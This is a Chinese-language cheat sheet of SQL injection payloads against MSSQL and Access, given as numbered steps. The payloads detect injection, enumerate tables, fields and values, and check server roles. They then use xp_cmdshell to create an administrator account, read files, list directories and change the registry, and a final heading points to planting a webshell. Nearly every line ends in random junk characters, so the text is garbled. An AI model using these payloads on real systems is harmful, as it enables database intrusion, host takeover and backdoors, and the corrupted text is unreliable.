1.判断是否有注入;and 1=1 ;and 1=2 Ji#"PE/Pt
2.初步判断是否是mssql ;and user>0 JFJ_
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3.注入参数是字符'and [查询条件] and ''=' 4GiHp7Y&A
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4.搜索时没过滤参数的'and [查询条件] and '%25'=' "<e<0::
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5.判断数据库系统 N y\c>$z
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;and (select count(*) from msysobjects)>0 access 5Oa`1?C1
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6.猜数据库 ;and (select Count(*) from [数据库名])>0 }k`-n32)|
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7.猜字段 ;and (select Count(字段名) from 数据库名)>0 $,/;QP}
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8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 9L`5r$/
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9.(1)猜字段的ascii值(access) (O$PJLI
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;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 ke+3J\;>
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10.测试权限结构(mssql) j56#KNAha
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;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- 1\[En/6
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;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- ja<!_^h=At
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;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- p#]D-?CM)
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;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- c}QWa"\2n
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;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- hS( )OY
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;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- F+c4v A})
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;and 1=(select IS_MEMBER('db_owner'));-- 1TOT}h5
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11.添加mssql和系统的帐户 Q^B !^_M
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;exec master.dbo.sp_addlogin username;-- D~(f7~c%
;exec master.dbo.sp_password null,username,password;-- LU7ia[T
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;exec master.dbo.sp_addsrvrolemember sysadmin username;-- + YjK#
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;exec master.dbo.xp_cmdshell 'net user username password T3JM8
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;exec master.dbo.xp_cmdshell 'net user username password /add';-- 37F&s
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;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- wWaJ%z>3y
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12.(1)遍历目录 =vpXYj
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;create table dirs(paths varchar(100), id int) ]"*sp
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;insert dirs exec master.dbo.xp_dirtree 'c:\' oZ/z{`
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;and (select top 1 paths from dirs)>0 wT taj08D
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;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) 4P>4d +
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(2)遍历目录 Qw,{"J
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;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- 0tFR.
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;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 jQV.U~25Q
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;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 cl'#nLPz;
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;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 ~+HZQv3Y
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;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 ~vL`[JiK
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13.mssql中的存储过程 GY3g`M
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xp_regenumvalues 注册表根键, 子键 o)M=; !
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;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 g.V{CJ*V
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xp_regread 根键,子键,键值名 .*x |TPv{
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'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 m|c5X)}-
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xp_regwrite 根键,子键, 值名, 值类型, 值 v)!C
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;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 1Fs:&* =
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xp_regdeletevalue 根键,子键,值名 QrX 5Kwq
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exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 G|LJOq7QB
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xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 $ lC*q
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14.mssql的backup创建webshell &y~~Z [.F,
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